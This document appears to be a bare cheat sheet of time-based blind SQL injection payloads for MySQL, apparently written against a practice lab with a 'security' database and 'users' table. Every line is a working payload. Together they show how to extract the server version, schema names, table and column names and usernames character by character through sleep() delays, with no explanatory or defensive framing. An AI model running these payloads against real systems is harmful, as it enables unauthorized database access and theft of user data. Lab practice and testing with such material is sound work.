BlindTimeBase

1' AND sleep(5)--+

Retrieve version:
1' AND IF((SELECT ascii(substr(version(),1,1))) = 53,sleep(10),NULL)--+

Retrieve version using LIKE:
1' AND IF((SELECT version()) LIKE "5%",sleep(10),NULL)--+


Retrieve databases:
1' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 7,1),1,1)))) = 115,sleep(10),NULL)--+ //s
1' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 7,1),2,1)))) = 101,sleep(10),NULL)--+ //e
1' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 7,1),3,1)))) = 99,sleep(10),NULL)--+  //c
1' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 7,1),4,1)))) = 117,sleep(10),NULL)--+ //u

Retrieve Tables
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 0,1),1,1)))) = 101,sleep(10),NULL)--+ //e
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 0,1),2,1)))) = 109,sleep(10),NULL)--+ //m
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 0,1),3,1)))) = 97,sleep(10),NULL)--+ //a

Next Table
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 3,1),1,1)))) = 117,sleep(10),NULL)--+ //u
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 3,1),2,1)))) = 115,sleep(10),NULL)--+ //s
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 3,1),3,1)))) = 101,sleep(10),NULL)--+ //e
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 3,1),4,1)))) = 114,sleep(10),NULL)--+ //r
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 3,1),5,1)))) = 115,sleep(10),NULL)--+


Retrieve columns
1' AND IF(((ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="users" LIMIT 0,1),1,1)))) = 117,sleep(10),NULL)--+ //u
1' AND IF(((ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="users" LIMIT 0,1),2,1)))) = 115,sleep(10),NULL)--+ //s



Retrieve data from another database:

1' AND IF(((ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1)))) = 68,sleep(10),NULL)--+